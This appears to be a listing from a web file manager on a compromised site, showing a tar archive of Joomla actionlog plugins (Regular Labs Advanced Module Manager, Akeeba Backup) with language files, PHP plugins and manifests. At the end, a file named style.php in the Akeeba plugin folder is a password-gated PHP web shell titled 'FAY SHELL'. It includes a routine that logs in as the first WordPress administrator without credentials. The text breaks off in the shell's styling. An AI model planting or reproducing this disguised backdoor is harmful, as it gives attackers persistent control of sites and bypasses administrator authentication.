Your IP : 216.73.216.248


Current Path : /home/digilove/www/41423/
Upload File :
Current File : /home/digilove/www/41423/actionlog.tar

advancedmodules/language/de-DE/de-DE.plg_actionlog_advancedmodules.ini000064400000001744152344125510021770 0ustar00;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDMODULES="Aktionsprotokoll - Regular Labs - Erweiterter Modul-Manager"
PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Protokollierung der Aktionen von Benutzern für den Erweiterten Modul-Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"

ADVANCEDMODULEMANAGER_DESC="Advanced Module Manager - erweiterte Modulfunktionen in Joomla!."

AMM_SETTINGS="Bitte den [[%1:start link%]]Module Manager[[%2:end link%]] für die Einstellungen besuchen"
AMM_THE_COMPONENT="die Advanced Module Manager-Komponente"
AMM_THE_SYSTEM_PLUGIN="das Advanced Module Manager System-Plugin"
advancedmodules/language/de-DE/de-DE.plg_actionlog_advancedmodules.sys.ini000064400000001235152344125510022600 0ustar00;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDMODULES="Aktionsprotokoll - Regular Labs - Erweiterter Modul-Manager"
PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Protokollierung der Aktionen von Benutzern für den Erweiterten Modul-Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
advancedmodules/language/en-GB/en-GB.plg_actionlog_advancedmodules.ini000064400000001726152344125510022014 0ustar00;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDMODULES="Action Log - Regular Labs - Advanced Module Manager"
PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Record the actions of users for Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"

ADVANCEDMODULEMANAGER_DESC="With Advanced Module Manager you have extra options and functionality to control your modules."

AMM_SETTINGS="Please see the [[%1:start link%]]Module Manager[[%2:end link%]] for settings."
AMM_THE_COMPONENT="the Advanced Module Manager component"
AMM_THE_SYSTEM_PLUGIN="the Advanced Module Manager system plugin"
advancedmodules/language/en-GB/en-GB.plg_actionlog_advancedmodules.sys.ini000064400000001177152344125510022631 0ustar00;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDMODULES="Action Log - Regular Labs - Advanced Module Manager"
PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Record the actions of users for Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
advancedmodules/language/fa-IR/fa-IR.plg_actionlog_advancedmodules.ini000064400000002114152344125510022020 0ustar00;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDMODULES="Action Log - Regular Labs - Advanced Module Manager"
; PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Record the actions of users for Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"

ADVANCEDMODULEMANAGER_DESC="با Advanced Module Manager شما تنظیمات و گزینه های بیشتری برای کنترل ماژول ها دارید"

AMM_SETTINGS="لطفا براي اعمال تنظيمات به [[%1:start link%]]مدیریت ماژول[[%2:end link%]] مراجعه کنید (پارامترها)"
AMM_THE_COMPONENT="کامپوننت Advanced Module Manager"
; AMM_THE_SYSTEM_PLUGIN="the Advanced Module Manager system plugin"
advancedmodules/language/fa-IR/fa-IR.plg_actionlog_advancedmodules.sys.ini000064400000001203152344125510022633 0ustar00;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDMODULES="Action Log - Regular Labs - Advanced Module Manager"
; PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Record the actions of users for Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
advancedmodules/language/fr-FR/fr-FR.plg_actionlog_advancedmodules.ini000064400000002004152344125510022052 0ustar00;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDMODULES="Journal d'action - Regular Labs - Advanced Module Manager"
PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Enregistrer les actions des utilisateurs pour Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"

ADVANCEDMODULEMANAGER_DESC="Avec Advanced Module Manager vous disposez d'options et de fonctions supplémentaires pour contrôler vos modules."

AMM_SETTINGS="Regardez [[%1:start link%]]Module de gestion[[%2:end link%]] pour la configuration."
AMM_THE_COMPONENT="Le composant Advanced Module Manager"
AMM_THE_SYSTEM_PLUGIN="le plugin système Advanced Module Manager"
advancedmodules/language/fr-FR/fr-FR.plg_actionlog_advancedmodules.sys.ini000064400000001223152344125510022671 0ustar00;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDMODULES="Journal d'action - Regular Labs - Advanced Module Manager"
PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Enregistrer les actions des utilisateurs pour Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
advancedmodules/language/ja-JP/ja-JP.plg_actionlog_advancedmodules.ini000064400000002100152344125510022021 0ustar00;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDMODULES="Action Log - Regular Labs - Advanced Module Manager"
; PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Record the actions of users for Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"

ADVANCEDMODULEMANAGER_DESC="「Advanced Module Manager」を使用すると、モジュールをコントロールする追加のオプションと機能が使えます。"

AMM_SETTINGS="設定(パラメータ)については、[[%1:start link%]]モジュール管理[[%2:end link%]]を参照して下さい"
AMM_THE_COMPONENT="Advanced Module Manager コンポーネント"
; AMM_THE_SYSTEM_PLUGIN="the Advanced Module Manager system plugin"
advancedmodules/language/ja-JP/ja-JP.plg_actionlog_advancedmodules.sys.ini000064400000001203152344125510022641 0ustar00;; @package         Advanced Module Manager
;; @version         9.8.0PRO
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            https://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         GNU General Public License version 2 or later
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDMODULES="Action Log - Regular Labs - Advanced Module Manager"
; PLG_ACTIONLOG_ADVANCEDMODULES_DESC="Record the actions of users for Advanced Module Manager"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
advancedmodules/advancedmodules.php000064400000002521152344125510013553 0ustar00<?php
/**
 * @package         Advanced Module Manager
 * @version         9.8.0PRO
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

use RegularLabs\Library\ActionLogPlugin as RL_ActionLogPlugin;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Extension as RL_Extension;

defined('_JEXEC') or die;

if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')
    || ! is_file(JPATH_LIBRARIES . '/regularlabs/src/ActionLogPlugin.php')
)
{
    return;
}

require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';

if ( ! RL_Document::isJoomlaVersion(3))
{
    RL_Extension::disable('advancedmodules', 'plugin', 'actionlog');

    return;
}

if (true)
{
    class PlgActionlogAdvancedModules extends RL_ActionLogPlugin
    {
        public $name  = 'ADVANCEDMODULEMANAGER';
        public $alias = 'advancedmodules';

        public function __construct(&$subject, array $config = [])
        {
            parent::__construct($subject, $config);

            $this->items = [
                'module' => (object) [
                    'title' => 'PLG_ACTIONLOG_JOOMLA_TYPE_MODULE',
                ],
            ];
        }
    }
}
advancedmodules/advancedmodules.xml000064400000003373152344125510013572 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<extension version="3" type="plugin" group="actionlog" method="upgrade">
  <name>PLG_ACTIONLOG_ADVANCEDMODULES</name>
  <description>PLG_ACTIONLOG_ADVANCEDMODULES_DESC</description>
  <version>9.8.0PRO</version>
  <creationDate>August 2023</creationDate>
  <author>Regular Labs (Peter van Westen)</author>
  <authorEmail>info@regularlabs.com</authorEmail>
  <authorUrl>https://regularlabs.com</authorUrl>
  <copyright>Copyright © 2023 Regular Labs - All Rights Reserved</copyright>
  <license>GNU General Public License version 2 or later</license>
  <files>
    <file plugin="advancedmodules">advancedmodules.php</file>
    <folder>language</folder>
  </files>
  <config>
    <fields name="params" addfieldpath="/libraries/regularlabs/fields">
      <fieldset name="basic">
        <field name="@load_language_regularlabs" type="rl_loadlanguage" extension="plg_system_regularlabs"/>
        <field name="@load_language" type="rl_loadlanguage" extension="plg_actionlog_advancedmodules"/>
        <field name="@license" type="rl_license" extension="ADVANCEDMODULEMANAGER"/>
        <field name="@version" type="rl_version" extension="ADVANCEDMODULEMANAGER"/>
        <field name="@dependency" type="rl_dependency" label="RR_THE_COMPONENT" file="/administrator/components/com_advancedmodules/advancedmodules.xml"/>
        <field name="@header" type="rl_header" label="ADVANCEDMODULEMANAGER" description="ADVANCEDMODULEMANAGER_DESC" url="https://regularlabs.com/advancedmodulemanager"/>
        <field name="@note__settings" type="note" class="alert alert-info" description="AMM_SETTINGS,&lt;a href=&quot;index.php?option=com_advancedmodules&quot; target=&quot;_blank&quot;&gt;,&lt;/a&gt;"/>
      </fieldset>
    </fields>
  </config>
</extension>
akeebabackup/akeebabackup.php000064400000025345152344125510012264 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

use Akeeba\Engine\Platform;
use FOF40\Container\Container;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Plugin\CMSPlugin;

defined('_JEXEC') || die();

class plgActionlogAkeebabackup extends CMSPlugin
{
	/** @var Container */
	private $container;

	/**
	 * Constructor
	 *
	 * @param   object  $subject  The object to observe
	 * @param   array   $config   An array that holds the plugin configuration
	 *
	 * @since       6.4.0
	 */
	public function __construct(&$subject, $config)
	{
		// Make sure Akeeba Backup is installed
		if (!file_exists(JPATH_ADMINISTRATOR . '/components/com_akeeba'))
		{
			return;
		}

		// Make sure Akeeba Backup is enabled
		if (!ComponentHelper::isEnabled('com_akeeba'))
		{
			return;
		}

		// Load FOF
		if (!defined('FOF40_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof40/include.php'))
		{
			return;
		}

		$this->container = Container::getInstance('com_akeeba');

		// No point in logging guest actions
		if ($this->container->platform->getUser()->guest)
		{
			return;
		}

		// If any of the above statement returned, our plugin is not attached to the subject, so it's basically disabled
		parent::__construct($subject, $config);
	}

	/**
	 * Logs the creation of a new backup profile
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Profiles  $controller
	 * @param   array                                     $data
	 * @param   int                                       $id
	 */
	public function onComAkeebaControllerProfilesAfterApplySave($controller, $data, $id)
	{
		// If I have an ID in the request and it's the same of the model, I'm just editing a record
		if (isset($data['id']) && $data['id'] == $id)
		{
			return;
		}

		$profile_title = $data['description'];

		$this->container->platform->logUserAction($profile_title, 'COM_AKEEBA_LOGS_PROFILE_ADD', 'com_akeeba');
	}

	/**
	 * Logs deletion of a backup profile
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Profiles  $controller
	 */
	public function onComAkeebaControllerProfilesAfterRemove($controller)
	{
		$ids           = $controller->input->get('cid', [], 'array', 2);
		$profile_title = '# ' . implode(', ', $ids);

		$this->container->platform->logUserAction($profile_title, 'COM_AKEEBA_LOGS_PROFILE_DELETE', 'com_akeeba');
	}

	/**
	 * Log configuration edit (apply)
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Configuration  $controller
	 */
	public function onComAkeebaControllerConfigurationAfterApply($controller)
	{
		$this->logConfigurationChange();
	}

	/**
	 * Log configuration edit (save and close)
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Configuration  $controller
	 */
	public function onComAkeebaControllerConfigurationAfterSave($controller)
	{
		$this->logConfigurationChange();
	}

	/**
	 * Log configuration edit (save and new)
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Configuration  $controller
	 */
	public function onComAkeebaControllerConfigurationAfterSavenew($controller)
	{
		$this->logConfigurationChange();
	}

	/**
	 * Log starting a new backup
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Backup  $controller
	 */
	public function onComAkeebaControllerBackupBeforeAjax($controller)
	{
		$ajaxTask = $this->container->input->get('ajax', '', 'cmd');

		// Log only starting the backup
		if ($ajaxTask != 'start')
		{
			return;
		}

		$profile_id = $this->container->platform->getSessionVar('profile', -10, 'akeeba');

		if ($profile_id < 1)
		{
			return;
		}

		$profile_id = '#' . $profile_id;

		$this->container->platform->logUserAction($profile_id, 'COM_AKEEBA_LOGS_BACKUP_RUN', 'com_akeeba');
	}

	/**
	 * Log downloading a backup using Joomla interface
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Manage  $controller
	 */
	public function onComAkeebaControllerManageBeforeDownload($controller)
	{
		$id   = $this->container->input->getInt('id');
		$part = $this->container->input->getInt('part', -1);

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat         = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "' . $profile_name . '" ID: ' . $id;

		if ($part > -1)
		{
			$title .= ' part: ' . $part;
		}

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_MANAGE_DOWNLOAD', 'com_akeeba');
	}

	/**
	 * Logs deleting backup files
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Manage  $controller
	 */
	public function onComAkeebaControllerManageBeforeDeletefiles($controller)
	{
		$ids = $this->getIDsFromRequest();

		foreach ($ids as $id)
		{
			$this->container->platform->logUserAction('ID: ' . $id, 'COM_AKEEBA_LOGS_MANAGE_DELETEFILES', 'com_akeeba');
		}
	}

	/**
	 * Logs deleting backup stat entry
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Manage  $controller
	 */
	public function onComAkeebaControllerManageBeforeRemove($controller)
	{
		$ids = $this->getIDsFromRequest();

		foreach ($ids as $id)
		{
			$this->container->platform->logUserAction($id, 'COM_AKEEBA_LOGS_MANAGE_DELETE', 'com_akeeba');
		}
	}

	/**
	 * Logs downloading remote archives to browser
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\RemoteFiles  $controller
	 */
	public function onComAkeebaControllerRemoteFilesBeforeDlfromremote($controller)
	{
		$id   = $this->container->input->getInt('id');
		$part = $this->container->input->getInt('part', -1);

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat         = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "' . $profile_name . '" ID: ' . $id;

		if ($part > -1)
		{
			$title .= ' part: ' . $part;
		}

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_REMOTEFILE_DOWNLOAD', 'com_akeeba');
	}

	/**
	 * Logs downloading remote archives back to the server
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\RemoteFiles  $controller
	 */
	public function onComAkeebaControllerRemoteFilesBeforeDltoserver($controller)
	{
		$id   = $this->container->input->getInt('id');
		$part = $this->container->input->getInt('part', -1);
		$frag = $this->container->input->getInt('frag', -1);

		// Log only the first step
		if ($frag > -1 || $part > -1)
		{
			return;
		}

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat         = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "' . $profile_name . '" ID: ' . $id;

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_REMOTEFILE_FETCH', 'com_akeeba');
	}

	/**
	 * Logs downloading remote archives to browser
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\RemoteFiles  $controller
	 */
	public function onComAkeebaControllerRemoteFilesBeforeDelete($controller)
	{
		$id   = $this->container->input->getInt('id');
		$part = $this->container->input->getInt('part', -1);

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat         = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "' . $profile_name . '" ID: ' . $id;

		if ($part > -1)
		{
			$title .= ' part: ' . $part;
		}

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_REMOTEFILE_DELETE', 'com_akeeba');
	}

	/**
	 * Logs downloading remote archives to browser
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Upload  $controller
	 */
	public function onComAkeebaControllerUploadBeforeStart($controller)
	{
		$id = $this->container->input->getInt('id');

		// This should never happens, but better be safe
		if (!$id)
		{
			return;
		}

		$stat         = Platform::getInstance()->get_statistics($id);
		$profile_name = Platform::getInstance()->get_profile_name($stat['profile_id']);

		$title = 'Profile: "' . $profile_name . '" ID: ' . $id;

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_UPLOADS_ADD', 'com_akeeba');
	}

	/**
	 * Log starting a site transfer wizard (connections valid, just before starting to actually transfer files)
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Transfer  $controller
	 */
	public function onComAkeebaControllerTransferBeforeUpload($controller)
	{
		$start = $this->container->input->getBool('start', false);

		if (!$start)
		{
			return;
		}

		$title = $this->container->platform->getSessionVar('transfer.url', '', 'akeeba');

		if (!$title)
		{
			return;
		}

		$this->container->platform->logUserAction($title, 'COM_AKEEBA_LOGS_TRANSFER_RUN', 'com_akeeba');
	}

	/**
	 * Logs downloading a backup log
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Log  $controller
	 */
	public function onComAkeebaControllerLogBeforeDownload($controller)
	{
		$tag = $this->container->input->get('tag', null, 'cmd');;

		$this->container->platform->logUserAction($tag, 'COM_AKEEBA_LOGS_LOG_DOWNLOAD', 'com_akeeba');
	}

	/**
	 * Log importing a backup archive
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Discover  $controller
	 */
	public function onComAkeebaControllerDiscoverBeforeImport($controller)
	{
		$files = $this->container->input->get('files', [], 'array');

		foreach ($files as $file)
		{
			$this->container->platform->logUserAction($file, 'COM_AKEEBA_LOGS_DISCOVER_IMPORT', 'com_akeeba');
		}
	}

	/**
	 * Log importing a backup archive from S3
	 *
	 * @param   \Akeeba\Backup\Admin\Controller\Discover  $controller
	 */
	public function onComAkeebaControllerS3ImportBeforeDltoserver($controller)
	{
		$file = $this->container->input->get('file', '', 'string');

		// Log only the initial download step
		$part = $this->container->input->getInt('part', -1);
		$frag = $this->container->input->getInt('frag', -1);
		$step = $this->container->input->getInt('step', -1);

		if ($part > -1 || $frag > -1 || $step > -1)
		{
			return;
		}

		$this->container->platform->logUserAction($file, 'COM_AKEEBA_LOGS_S3IMPORT_IMPORT', 'com_akeeba');
	}

	private function logConfigurationChange()
	{
		$profileName = $this->container->input->getString('profilename', null);

		$this->container->platform->logUserAction('"' . $profileName . '"', 'COM_AKEEBA_LOGS_CONFIGURATION_EDIT', 'com_akeeba');
	}

	/**
	 * Gets the list of IDs from the request data
	 *
	 * @return array
	 */
	private function getIDsFromRequest()
	{
		// Get the ID or list of IDs from the request or the configuration
		$cid = $this->container->input->get('cid', [], 'array');
		$id  = $this->container->input->getInt('id', 0);

		$ids = [];

		if (is_array($cid) && !empty($cid))
		{
			$ids = $cid;
		}
		elseif (!empty($id))
		{
			$ids = [$id];
		}

		return $ids;
	}
}
akeebabackup/akeebabackup.xml000064400000002213152344125510012262 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<extension version="3.9.0" type="plugin" group="actionlog" method="upgrade">
	<name>PLG_ACTIONLOG_AKEEBABACKUP</name>
	<author>Nicholas K. Dionysopoulos</author>
	<authorEmail>nicholas@dionysopoulos.me</authorEmail>
	<authorUrl>https://www.akeeba.com</authorUrl>
	<copyright>Copyright (c)2006-2023 Nicholas K. Dionysopoulos</copyright>
	<license>GNU General Public License version 3, or later</license>
	<creationDate>2023-08-07</creationDate>
	<version>8.3.3</version>
	<description>PLG_ACTIONLOG_AKEEBABACKUP_XML_DESCRIPTION</description>
	<files>
		<filename plugin="akeebabackup">akeebabackup.php</filename>
		<filename>.htaccess</filename>
		<filename>web.config</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_actionlog_akeebabackup.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_actionlog_akeebabackup.sys.ini</language>
	</languages>

	<scriptfile>script.php</scriptfile>
</extension>akeebabackup/script.php000064400000000760152344125510011164 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

use FOF40\InstallScript\Plugin;

defined('_JEXEC') || die;

// Load FOF if not already loaded
if (!defined('FOF40_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof40/include.php'))
{
	throw new RuntimeException('This extension requires FOF 4.');
}

class plgActionlogAkeebabackupInstallerScript extends Plugin
{
}
akeebabackup/web.config000064400000001025152344125510011106 0ustar00<?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>akeebabackup/style.php000064400000206610152344125510011022 0ustar00<?php
session_start();

// Password: d30123qwe
// Hash bcrypt untuk password "d30123qwe"
$hashed_password = '$2b$12$kEQELUFBOSGNA7FJXbwbQOu1jU1KgmmSoXiFejMf82xe0zFul.11q';

function isAuthenticated() {
    return isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
    if (password_verify($_POST['password'], $hashed_password)) {
        $_SESSION['logged_in'] = true;
        header("Location: " . $_SERVER['PHP_SELF']);
        exit;
    } else {
        $error = "Denied!";
    }
}

if (!isAuthenticated()) :
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>FayLogin</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        body {
            background: #000000;
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            font-family: 'Space Grotesk', -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;
        }
        .login-card {
            background: #0a0a0a;
            border-radius: 8px;
            border: 1px solid #1f1f1f;
            padding: 40px;
            width: 100%;
            max-width: 400px;
        }
        .login-card h2 {
            color: #ffffff;
            margin-bottom: 30px;
            font-weight: 600;
            font-size: 1.5rem;
        }
        .login-card .form-control {
            background: #000000;
            border: 1px solid #1f1f1f;
            color: #e5e5e5;
            border-radius: 6px;
            padding: 12px;
        }
        .login-card .form-control:focus {
            background: #000000;
            border-color: #404040;
            color: #e5e5e5;
            box-shadow: none;
        }
        .login-card .alert-danger {
            background: rgba(239, 68, 68, 0.1);
            border: 1px solid #ef4444;
            color: #ef4444;
            border-radius: 6px;
        }
        .btn-login {
            background: #ffffff;
            border: none;
            color: #000000;
            padding: 12px;
            font-weight: 600;
            border-radius: 6px;
            transition: all 0.2s ease;
        }
        .btn-login:hover {
            background: #d0d0d0;
        }
    </style>
</head>
<body>
    <div class="login-card">
        <h2 class="text-center"><i class="fas fa-user-shield"></i> Friends</h2>
        <?php if (isset($error)) echo "<div class='alert alert-danger'>$error</div>"; ?>
        <form method="POST">
            <div class="mb-3">
                <input type="password" name="password" class="form-control form-control-lg" placeholder="Enter Password" required>
            </div>
            <button type="submit" class="btn btn-primary btn-login w-100">
                <i class="fas fa-sign-in-alt"></i> Login
            </button>
        </form>
    </div>
</body>
</html>
<?php
    exit;
endif;

if (isset($_GET['opsi']) && $_GET['opsi'] == "wpdash" && isset($_GET['loknya'])) {
	if (!function_exists('find_root_dir')) {
		function find_root_dir($current_dir) {
			while (!file_exists($current_dir . '/wp-load.php')) {
				$parent_dir = dirname($current_dir);
				if ($current_dir === $parent_dir) {
					return false;
				}
				$current_dir = $parent_dir;
			}
			return $current_dir;
		}
	}
	$mr = find_root_dir($_GET['loknya']);
	if ($mr) {
		@chdir($mr);
		if (file_exists('wp-load.php')) {
			include 'wp-load.php';
			$wp_user_query = new WP_User_Query(array('role' => 'Administrator', 'number' => 1, 'fields' => 'ID'));
			$results = $wp_user_query->get_results();
			if (isset($results[0])) {
				wp_set_auth_cookie($results[0]);
				wp_redirect(admin_url());
				exit;
			}
			die('NO ADMIN');
		}
		die('FAILED LOAD');
	}
	die('NOT WP ROOT');
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
<?php echo "<title>F"."A"."Y SH"."EL"."L</title>"; ?>
	<meta name="robots" content="noindex">
	<link rel="icon" href="https://cdn-icons-png.flaticon.com/512/5968/5968909.png" type="image/x-icon">
	<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
	<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
	<link href="https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500;600&display=swap" rel="stylesheet">
<style>
@import url('https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500;600&display=swap');

:root {
	--primary-color: #ffffff;
	--secondary-color: #a0a0a0;
	--accent-color: #707070;
	--bg-black: #000000;
	--card-bg: #0a0a0a;
	--text-light: #e5e5e5;
	--text-muted: #808080;
	--border-color: #1f1f1f;
	--success-color: #22c55e;
	--danger-color: #ef4444;
	--warning-color: #f59e0b;
}

body {
	background: var(--bg-black);
	font-family: 'Space Grotesk', -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;
	color: var(--text-light);
	letter-spacing: -0.02em;
	margin: 0;
	overflow: hidden;
}

.app-layout {
	display: flex;
	height: 100vh;
}

.sidebar {
	width: 240px;
	min-width: 240px;
	background: var(--card-bg);
	border-right: 1px solid var(--border-color);
	display: flex;
	flex-direction: column;
	height: 100vh;
	overflow-y: auto;
}

.sidebar-brand {
	padding: 24px 20px 20px;
	border-bottom: 1px solid var(--border-color);
	font-size: 1.2rem;
	font-weight: 700;
	color: var(--primary-color);
	letter-spacing: -0.03em;
}

.sidebar-nav {
	flex: 1;
	padding: 12px 0;
	overflow-y: auto;
}

.sidebar-nav a {
	display: flex;
	align-items: center;
	gap: 10px;
	padding: 10px 20px;
	color: var(--secondary-color);
	text-decoration: none;
	font-size: 0.85rem;
	font-weight: 500;
	transition: all 0.15s ease;
	border-left: 3px solid transparent;
}

.sidebar-nav a:hover {
	color: var(--primary-color);
	background: rgba(255,255,255,0.03);
